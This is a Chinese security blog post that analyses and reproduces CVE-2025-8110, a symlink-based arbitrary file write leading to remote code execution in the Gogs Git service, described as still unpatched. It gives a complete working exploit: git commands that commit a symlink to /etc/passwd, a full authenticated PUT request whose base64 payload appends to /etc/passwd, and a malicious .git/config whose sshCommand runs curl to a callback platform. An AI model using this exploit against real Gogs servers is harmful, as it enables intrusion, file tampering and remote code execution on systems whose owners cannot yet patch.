披露一个0day细节,CVE-2025-8110

本文首发 奇安信攻防社区奇安信攻防社区-CVE-2025-8110 0day 绕过分析与复现

本文从gogs历史漏洞点入手,结合gogs源码对最新CVE-2025-8110 0day的绕过手法进行分析,结合复现过程给出CVE-2025-8110 0day的正确POC

前情提要

gogs是一款由go语言编写的一款极易搭建的自助 Git 服务.golang的一些web应用最常见出现的问题就是目录穿越了,同样观察前面gogs大部分的历史漏洞都是目录穿越然后覆盖关键文件造成RCE.今天这个CVE-2025-8110 同样也不例外!本质还是任意文件写入漏洞

据披露者的博客来看是在七月的一次应急过程中观察到的,截止到12/14 Github公开的都是错误的POC

影响范围

  1. 直到最新版本仍未修复

  2. 根据Fofa来看大概受影响资产为5w左右(可能大部分都是自建在内网?)

利用条件

  1. 存在PUT推送接口

  2. 可以任意注册用户

  3. 部署在Linux系统

分析

漏洞点

主要是看internal/database/repo_editor.go 这个文件中的UpdateRepoFile 函数

可以看到作者在这个文件上修复了12处,属于是事故高发区了

image.png
我们看到该文件的第191行,未对filePath 参数做任何校验

可以看到该函数的签名 WriteFile(name string, data []byte, perm FileMode)

第一个就是目标的文件名了,第二个是写入的数据,第三个是Mode

本身按照gogs的意思就是当仓库的变更时,gogs则会根据文件名写入变更后的新内容到磁盘,因此这个filePath 就是我们仓库里的一个文件名,这肯定是天然可控的~

将这个逻辑抽离出来看看写一个POC

  1. 首先创建一个软链接

image.png

  1. 运行下面POC

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"log"
"os"
)

func main() {
filePath := "/tmp/symlink"
Content := "This is a test content ."
if err := os.WriteFile(filePath, []byte(Content), 0600); err != nil {
log.Println("write file: %v", err)
}
}

可以发现我们symlink软链接指向的origin文件被创建了,并且写入了我们指定的内容.当然这也符合软链接本身的正常用法,不是语言本身的问题.

image.png

所以只要我们将这个文件名指向一个符号链接即可,这在git里是可以的

这是git 用来表现符号链接的tree 对象

image.png

说白了就是我们可以提交一个提前在本地指向好的符号链接,并且gogs也是可以识别的.

那么在触发对这个文件进行变更时,gogs就会调用WriteFile函数进行写入,且写入的路径是我们最终指向的路径.*

image.png

上述的都是符号链接文件,可以看到相关的图标也有指示

ok,漏洞点就是这些了,那我们再来看看触发点~

触发点

CVE-2024-55947是同一个位置.

先看看UpdateRepoFile 函数的用法,总共3个*

根据前面的历史漏洞可以看到,就是PUT /repos/:username/:reponame/contents/* 触发的,同样这个地方也是*

image.png
跟进到internal/route/api/v1/repo/contents.go 看到 PutContents 函数

image.png

上面还有之前对CVE-2024-55947 路径穿越的修复,也就是文件路径参数净化

这是Clean函数的实现

1
2
3
4
func Clean(p string) string {
p = strings.ReplaceAll(p, `\\`, "/")
return strings.Trim(path.Clean("/"+p), "/")
}

但是本次漏洞的成因是软链接,所以这种修复方式自然是拦不住我们的

分析总结

本质是通过上传一个符号链接文件,然后通过put接口触发Update,然后写入的目标路径会是符号链接所指向的最终路径,导致任意文件写入(覆盖).

漏洞复现

环境搭建

docker 拉取镜像启动即可,加速问题自己解决()

这里给出启动参数

1
2
3
4
5
6
docker run -d \
--name gogs \
-p 3000:3000 \
-p 2022:22 \
-v /var/gogs:/data \
gogs/gogs

启动之后访问3000端口完成安全,注意安装数据选sqlite数据库即可然后不用在下面填管理员用户

安装完成后,我们只需后续在主页注册一个普通用户即可.

image.png

注册完成后登录,进入右上角头像处的用户设置,填入自己的ssh公钥即可,为我们后续推送恶意符号文件做准备.

image.png

再点击下面的授权应用生成一个令牌,我们后续PUT推送时需要用到

image.png

为了方便后续拉取镜像触发sshCommand(选做)

测试ssh是否连通,判断是否可以通过ssh git推送文件

ssh -T -p 2022 git@localhost

绑定 ~/.ssh/config

1
2
3
4
5
Host gogs
HostName 192.168.1.104
User git
Port 2022
IdentityFile ~/.ssh/id_rsa

本地挂几个软链接符号文件.

创建一个本地仓库,并绑定到远程

可按照下面指示操作

image.png

给出我用过的几个命令

1
2
3
4
5
6
7
8
9
10
11
12
13
git init repo
ln -s /etc/passwd secret-link
git config user.name "test"
git config user.email "test@example.com"
git remote add origin gogs:test/sss.git
git remote set-url origin ssh://git@localhost:2022/test/ccc.git

git add .
git commit -m "111"
git branch -M main
git push -u origin main
git pull origin main --rebase # 同步

这是我本地创建完的样子

image.png

然后推送到远端即可

image.png

image.png

可以看到符号链接的内容为我们想写入恶意内容的文件路径.

然后发送以下PUT数据包

1
2
3
4
5
6
7
8
9
10
11
PUT /api/v1/repos/test/aaa/contents/secret-link HTTP/1.1
Host: 192.168.1.104:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Cookie: i_like_gogs=5620203df2906ab5; lang=en-US
Authorization: token 05e726352765be3c010691ca10816146d51b522f
Content-Length: 78

{"message": "Create symlink", "content": "ZWNobyAiSGFja2VkIiA+PiAvZXRjL3Bhc3N3ZA==", "branch": "main"}

中间的content为echo "Hacked" >> /etc/passwd 的base64编码形式,注意自己是什么分支,默认是master分支!

注意指定的文件路径,对应到仓库页面

image.png

复现结果

来到docker容器内更便于我们观察

任意文件写入

可以看到正是将我们本地仓库创建的一个指向/tmp/pwned (手太快了,多打了个字~)的符号链接文件上传了,并且在目标机器上也同样生效

image.png

可以看到成功创建并写入了我们的恶意命令

RCE

披露者是通过覆写.git/config 文件来触发RCE的.

本质是仓库拥有者通过ssh协议对仓库做clone,pull等操作时触发恶意命令,所以还是需要搭配仓库所有者自己主动操作仓库时才可触发.这里就以我们自己注册的普通test 用户触发.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase=true
precomposeunicode=true
sshCommand="curl 回连平台~"
[remote "origin"]
url = ssh://git@localhost:2022/test/ccc.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main

然后PUT执行即可触发!

image.png

image.png

修复

目前作者还没有进行修复,好像好久没更新了~

image.png

如图, 哈哈哈哈哈

目前观察到的缓解措施就是停止任意用户的注册,相当于是把触发点入口给断了吧

参考

https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit